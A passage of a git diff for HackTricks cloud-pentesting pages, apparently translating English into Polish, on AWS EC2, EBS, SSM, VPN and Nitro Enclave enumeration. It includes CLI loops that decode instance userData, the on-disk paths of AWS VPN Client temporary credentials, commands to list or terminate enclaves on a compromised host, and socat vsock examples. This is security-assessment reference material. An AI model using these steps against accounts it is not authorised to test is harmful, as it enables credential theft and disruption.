profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions. +Ten dodatkowy krok to **utworzenie** [_**profilu instancji**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) przypisanego do instancji. **Profil instancji zawiera rolę i** może dostarczyć tymczasowe poświadczenia roli aplikacji działającej na instancji. Te tymczasowe poświadczenia mogą być następnie używane w wywołaniach API aplikacji do uzyskiwania dostępu do zasobów i ograniczania dostępu tylko do tych zasobów, które określa rola. Należy zauważyć, że **tylko jedna rola może być przypisana do instancji EC2** w danym czasie, a wszystkie aplikacje na instancji dzielą tę samą rolę i uprawnienia. ### Metadata Endpoint -AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname. +Metadane AWS EC2 to informacje o instancji Amazon Elastic Compute Cloud (EC2), które są dostępne dla instancji w czasie wykonywania. Te metadane są używane do dostarczania informacji o instancji, takich jak jej identyfikator instancji, strefa dostępności, w której działa, rola IAM powiązana z instancją oraz nazwa hosta instancji. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} ### Enumeration - ```bash # Get EC2 instances aws ec2 describe-instances @@ -50,10 +49,10 @@ aws ec2 describe-instance-status #Get status from running instances # Get user data from each ec2 instance for instanceid in $(aws ec2 describe-instances --profile --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do - echo "Instance ID: $instanceid" - aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d - echo "" - echo "-------------------" +echo "Instance ID: $instanceid" +aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d +echo "" +echo "-------------------" done # Instance profiles @@ -128,8 +127,7 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` - -### Unauthenticated Access +### Nieautoryzowany dostęp {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -137,13 +135,13 @@ aws ec2 describe-vpc-peering-connections ### Privesc -In the following page you can check how to **abuse EC2 permissions to escalate privileges**: +Na następnej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EC2 do eskalacji przywilejów**: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Post-Exploitation +### Post-eksploatacja {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -151,17 +149,17 @@ In the following page you can check how to **abuse EC2 permissions to escalate p ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally. +Amazon **EBS** (Elastic Block Store) **migawki** to w zasadzie statyczne **kopie zapasowe** woluminów AWS EBS. Innymi słowy, są to **kopie** **dysków** podłączonych do instancji **EC2** w określonym momencie. Migawki EBS mogą być kopiowane między regionami i kontami, a nawet pobierane i uruchamiane lokalnie. -Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it. +Migawki mogą zawierać **wrażliwe informacje** takie jak **kod źródłowy lub klucze API**, dlatego, jeśli masz taką możliwość, zaleca się ich sprawdzenie. -### Difference AMI & EBS +### Różnica AMI & EBS -An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application. +**AMI** jest używane do **uruchamiania instancji EC2**, podczas gdy **Migawka EC2** jest używana do **tworzenia kopii zapasowych i przywracania danych przechowywanych na woluminie EBS**. Chociaż Migawka EC2 może być używana do tworzenia nowego AMI, nie jest to to samo co AMI i nie zawiera informacji o systemie operacyjnym, serwerze aplikacji ani innym oprogramowaniu wymaganym do uruchomienia aplikacji. ### Privesc -In the following page you can check how to **abuse EBS permissions to escalate privileges**: +Na następnej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EBS do eskalacji przywilejów**: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -169,14 +167,13 @@ In the following page you can check how to **abuse EBS permissions to escalate p ## SSM -**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API. +**Amazon Simple Systems Manager (SSM)** umożliwia zdalne zarządzanie flotą instancji EC2, co znacznie ułatwia ich administrację. Każda z tych instancji musi mieć uruchomioną **usługę SSM Agent, ponieważ to ta usługa będzie odbierać działania i je wykonywać** z API AWS. -**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request. +**SSM Agent** umożliwia System Managerowi aktualizację, zarządzanie i konfigurowanie tych zasobów. Agent **przetwarza żądania z usługi Systems Manager w chmurze AWS**, a następnie wykonuje je zgodnie z określeniami w żądaniu. -The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate. - -### Enumeration +**SSM Agent jest**[ **wstępnie zainstalowany w niektórych AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) lub musisz [**ręcznie je zainstalować**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) na instancjach. Ponadto rola IAM używana wewnątrz instancji musi mieć przypisaną politykę **AmazonEC2RoleforSSM**, aby mogła komunikować się. +### Enumeracja ```bash aws ssm describe-instance-information aws ssm describe-parameters @@ -185,16 +182,13 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` - -You can check in an EC2 instance if Systems Manager is runnign just by executing: - +Możesz sprawdzić w instancji EC2, czy Systems Manager działa, po prostu wykonując: ```bash ps aux | grep amazon-ssm ``` - ### Privesc -In the following page you can check how to **abuse SSM permissions to escalate privileges**: +Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień SSM, aby eskalować przywileje**: {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -202,10 +196,9 @@ In the following page you can check how to **abuse SSM permissions to escalate p ## ELB -**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands. +**Elastic Load Balancing** (ELB) to **usługa równoważenia obciążenia dla Amazon Web Services** (AWS). ELB automatycznie **rozprowadza przychodzący ruch aplikacji** i skaluje zasoby, aby sprostać wymaganiom ruchu. ### Enumeration - ```bash # List internet-facing ELBs aws elb describe-load-balancers @@ -216,11 +209,9 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` +## Szablony uruchamiania i grupy autoskalowania -## Launch Templates & Autoscaling Groups - -### Enumeration - +### Enumeracja ```bash # Launch templates aws ec2 describe-launch-templates @@ -235,12 +226,11 @@ aws autoscaling describe-launch-configurations aws autoscaling describe-load-balancer-target-groups aws autoscaling describe-load-balancers ``` - ## Nitro -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekką warstwę hipernadzoru**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Przez odciążenie funkcji wirtualizacji, Nitro pozwala instancjom EC2 na dostarczanie **wydajności bliskiej wydajności sprzętowej**, co czyni go szczególnie korzystnym dla aplikacji wymagających dużych zasobów. Dodatkowo, chip bezpieczeństwa Nitro zapewnia **bezpieczeństwo sprzętu i oprogramowania układowego**, co dodatkowo wzmacnia jego solidną architekturę. -Get more information and how to enumerate it from: +Uzyskaj więcej informacji i jak to enumerować z: {{#ref}} aws-nitro-enum.md @@ -248,35 +238,34 @@ aws-nitro-enum.md ## VPN -A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet. +VPN pozwala na połączenie twojej **sieci lokalnej (VPN site-to-site)** lub **laptopów pracowników (Client VPN)** z **AWS VPC**, aby usługi mogły być dostępne bez potrzeby ich eksponowania w internecie. -#### Basic AWS VPN Components +#### Podstawowe komponenty AWS VPN 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- Customer Gateway to zasób, który tworzysz w AWS, aby reprezentować swoją stronę połączenia VPN. +- Jest to zasadniczo fizyczne urządzenie lub aplikacja programowa po twojej stronie połączenia Site-to-Site VPN. +- Podajesz informacje o trasowaniu i publiczny adres IP swojego urządzenia sieciowego (takiego jak router lub zapora) do AWS, aby utworzyć Customer Gateway. +- Służy jako punkt odniesienia do skonfigurowania połączenia VPN i nie generuje dodatkowych opłat. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- Virtual Private Gateway (VPG) to koncentrator VPN po stronie Amazon w połączeniu Site-to-Site VPN. +- Jest podłączony do twojego VPC i służy jako cel dla twojego połączenia VPN. +- VPG to punkt końcowy po stronie AWS dla połączenia VPN. +- Obsługuje bezpieczną komunikację między twoim VPC a twoją siecią lokalną. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- Połączenie Site-to-Site VPN łączy twoją sieć lokalną z VPC przez bezpieczny tunel VPN IPsec. +- Ten typ połączenia wymaga Customer Gateway i Virtual Private Gateway. +- Jest używany do bezpiecznej, stabilnej i spójnej komunikacji między twoim centrum danych lub siecią a twoim środowiskiem AWS. +- Zazwyczaj używany do regularnych, długoterminowych połączeń i jest rozliczany na podstawie ilości danych przesyłanych przez połączenie. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- Punkt końcowy Client VPN to zasób, który tworzysz w AWS, aby umożliwić i zarządzać sesjami VPN klientów. +- Jest używany do umożliwienia indywidualnym urządzeniom (takim jak laptopy, smartfony itp.) bezpiecznego łączenia się z zasobami AWS lub twoją siecią lokalną. +- Różni się od Site-to-Site VPN tym, że jest zaprojektowany dla indywidualnych klientów, a nie do łączenia całych sieci. +- W przypadku Client VPN, każde urządzenie klienckie używa oprogramowania klienckiego VPN do nawiązania bezpiecznego połączenia. -You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). +Możesz [**znaleźć więcej informacji o korzyściach i komponentach AWS VPN tutaj**](aws-vpc-and-networking-basic-information.md#vpn). ### Enumeration - ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -300,31 +289,26 @@ aws ec2 describe-vpn-gateways # Get VPN site-to-site connections aws ec2 describe-vpn-connections ``` +### Lokalna enumeracja -### Local Enumeration +**Lokalne tymczasowe poświadczenia** -**Local Temporary Credentials** +Gdy klient AWS VPN jest używany do łączenia się z VPN, użytkownik zazwyczaj **loguje się do AWS**, aby uzyskać dostęp do VPN. Następnie, niektóre **poświadczenia AWS są tworzone i przechowywane** lokalnie, aby nawiązać połączenie VPN. Te poświadczenia są **przechowywane w** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` i zawierają **AccessKey**, **SecretKey** oraz **Token**. -When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**. +Poświadczenia należą do użytkownika `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: zbadać więcej na temat uprawnień tych poświadczeń). -The credentials belong to the user `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials). +**Pliki konfiguracyjne opvn** -**opvn config files** +Jeśli **połączenie VPN zostało nawiązane**, powinieneś poszukać plików konfiguracyjnych **`.opvn`** w systemie. Ponadto, jednym z miejsc, gdzie możesz znaleźć **konfiguracje**, jest **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** -If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** - -#### **Post Exploitaiton** +#### **Po eksploatacji** {{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md {{#endref}} -## References +## Odniesienia - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0575a17d8..36531d750 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -2,21 +2,20 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekkiego hypervisora**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Przez odciążenie funkcji wirtualizacji, Nitro pozwala instancjom EC2 na dostarczanie **wydajności bliskiej wydajności sprzętowej**, co jest szczególnie korzystne dla aplikacji wymagających dużych zasobów. Dodatkowo, Nitro Security Chip zapewnia **bezpieczeństwo sprzętu i oprogramowania układowego**, co dodatkowo wzmacnia jego solidną architekturę. ### Nitro Enclaves -**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards. +**AWS Nitro Enclaves** zapewnia bezpieczne, **izolowane środowisko obliczeniowe w instancjach Amazon EC2**, zaprojektowane specjalnie do przetwarzania wysoce wrażliwych danych. Wykorzystując system AWS Nitro, te enklawy zapewniają solidną **izolację i bezpieczeństwo**, idealne do **obsługi poufnych informacji**, takich jak PII czy dane finansowe. Oferują minimalistyczne środowisko, znacznie redukując ryzyko ujawnienia danych. Dodatkowo, Nitro Enclaves wspierają kryptograficzną atestację, umożliwiając użytkownikom weryfikację, że tylko autoryzowany kod jest uruchamiany, co jest kluczowe dla utrzymania ścisłej zgodności i standardów ochrony danych. -> [!CAUTION] -> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not. +> [!OSTRZEŻENIE] +> Obrazy Nitro Enclave są **uruchamiane z wnętrza instancji EC2** i nie możesz zobaczyć w konsoli internetowej AWS, czy instancje EC2 uruchamiają obrazy w Nitro Enclave, czy nie. -## Nitro Enclave CLI installation - -Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones: +## Instalacja CLI Nitro Enclave +Postępuj zgodnie ze wszystkimi instrukcjami [**z dokumentacji**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Jednak oto najważniejsze z nich: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -32,47 +31,39 @@ nitro-cli --version # Start and enable the Nitro Enclaves allocator service. sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service ``` - ## Nitro Enclave Images -The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like: - +Obrazy, które możesz uruchomić w Nitro Enclave, są oparte na obrazach docker, więc możesz tworzyć swoje obrazy Nitro Enclave z obrazów docker, takich jak: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` +Jak widać, obrazy Nitro Enclave używają rozszerzenia **`eif`** (Enclave Image File). -As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File). - -The output will look similar to: - +Wynik będzie wyglądał podobnie do: ``` Using the locally available Docker image... Enclave Image successfully created. { - "Measurements": { - "HashAlgorithm": "Sha384 { ... }", - "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", - "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", - "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" - } +"Measurements": { +"HashAlgorithm": "Sha384 { ... }", +"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", +"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", +"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" +} } ``` +### Uruchom obraz -### Run an Image - -As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file - +Zgodnie z [**dokumentacją**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), aby uruchomić obraz enklawy, musisz przypisać mu pamięć o **co najmniej 4-krotności rozmiaru pliku `eif`**. Możliwe jest skonfigurowanie domyślnych zasobów, które mu przydzielisz w pliku. ```shell /etc/nitro_enclaves/allocator.yaml ``` - > [!CAUTION] -> Always remember that you need to **reserve some resources for the parent EC2** instance also! - -After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with: +> Zawsze pamiętaj, że musisz **zarezerwować pewne zasoby dla rodzica EC2** również! +Po poznaniu zasobów, które należy przydzielić obrazowi i nawet po modyfikacji pliku konfiguracyjnego, możliwe jest uruchomienie obrazu enklawy za pomocą: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -80,80 +71,72 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` - ### Enumerate Enclaves -If you compromise and EC2 host it's possible to get a list of running enclave images with: - +Jeśli skompromitujesz hosta EC2, możliwe jest uzyskanie listy działających obrazów enklaw za pomocą: ```bash nitro-cli describe-enclaves ``` - -It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with: - +Nie jest **możliwe uzyskanie powłoki** wewnątrz działającego obrazu enclave, ponieważ to jest główny cel enclave, jednak jeśli użyjesz parametru **`--debug-mode`**, możliwe jest uzyskanie **stdout** za pomocą: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` - ### Terminate Enclaves -If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with: - +Jeśli atakujący skompromituje instancję EC2, domyślnie nie będzie w stanie uzyskać powłoki wewnątrz nich, ale będzie mógł **je zakończyć** za pomocą: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` - ## Vsocks -The only way to communicate with an **enclave** running image is using **vsocks**. +Jedynym sposobem na komunikację z działającym obrazem **enklawy** jest użycie **vsocks**. -**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments. +**Virtual Socket (vsock)** to rodzina gniazd w systemie Linux, zaprojektowana specjalnie w celu ułatwienia **komunikacji** między maszynami wirtualnymi (**VM**) a ich **hypervisorami**, lub między VM **sami**. Vsock umożliwia efektywną, **dwukierunkową komunikację** bez polegania na stosie sieciowym hosta. Umożliwia to VM komunikację nawet bez konfiguracji sieci, **używając 32-bitowego identyfikatora kontekstu (CID) i numerów portów** do identyfikacji i zarządzania połączeniami. API vsock obsługuje zarówno typy gniazd strumieniowych, jak i datagramowych, podobnie jak TCP i UDP, co stanowi wszechstronne narzędzie dla aplikacji na poziomie użytkownika w wirtualnych środowiskach. > [!TIP] -> Therefore, an vsock address looks like this: `:` +> Dlatego adres vsock wygląda tak: `:` -To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**: +Aby znaleźć **CID** obrazów działających w enklawie, możesz po prostu wykonać następujące polecenie i uzyskać **`EnclaveCID`**:
nitro-cli describe-enclaves
 
 [
-  {
-    "EnclaveName": "secure-channel-example",
-    "EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
-    "ProcessID": 10131,
+{
+"EnclaveName": "secure-channel-example",
+"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
+"ProcessID": 10131,
     "EnclaveCID": 16,
     "NumberOfCPUs": 2,
-    "CPUIDs": [
-      1,
-      3
-    ],
-    "MemoryMiB": 1024,
-    "State": "RUNNING",
-    "Flags": "DEBUG_MODE",
-    "Measurements": {
-      "HashAlgorithm": "Sha384 { ... }",
-      "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-      "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-      "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-    }
-  }
+"CPUIDs": [
+1,
+3
+],
+"MemoryMiB": 1024,
+"State": "RUNNING",
+"Flags": "DEBUG_MODE",
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
+}
 ]
 
> [!WARNING] -> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> Zauważ, że z hosta nie ma sposobu, aby wiedzieć, czy CID eksponuje jakiś port! Chyba że używasz jakiegoś **skanera portów vsock, takiego jak** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). ### Vsock Server/Listener -Find here a couple of examples: +Znajdź tutaj kilka przykładów: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
-Simple Python Listener - +Prosty nasłuchiwacz w Pythonie ```python #!/usr/bin/env python3 @@ -173,30 +156,26 @@ s.listen() print(f"Connection opened by cid={remote_cid} port={remote_port}") while True: - buf = conn.recv(64) - if not buf: - break +buf = conn.recv(64) +if not buf: +break - print(f"Received bytes: {buf}") +print(f"Received bytes: {buf}") ``` -
- ```bash # Using socat socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` +### Klient Vsock -### Vsock Client - -Examples: +Przykłady: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
-Simple Python Client - +Prosty klient Python ```python #!/usr/bin/env python3 @@ -212,64 +191,51 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -
- ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` - ### Vsock Proxy -The tool vsock-proxy allows to proxy a vsock proxy with another address, for example: - +Narzędzie vsock-proxy pozwala na proxy vsock proxy z innym adresem, na przykład: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` - -This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`: - +To będzie przekazywać **lokalny port 8001 w vsock** do `ip-ranges.amazonaws.com:443`, a plik **`your-vsock-proxy.yaml`** może mieć tę zawartość, umożliwiając dostęp do `ip-ranges.amazonaws.com:443`: ```yaml allowlist: - - { address: ip-ranges.amazonaws.com, port: 443 } +- { address: ip-ranges.amazonaws.com, port: 443 } ``` - -It's possible to see the vsock addresses (**`:`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port): - +Możliwe jest zobaczenie adresów vsock (**`:`**) używanych przez hosta EC2 za pomocą (zauważ `3:8001`, 3 to CID, a 8001 to port): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` +## Nitro Enclave Atestacja & KMS -## Nitro Enclave Atestation & KMS +Nitro Enclaves SDK pozwala na to, aby enclave mogła zażądać 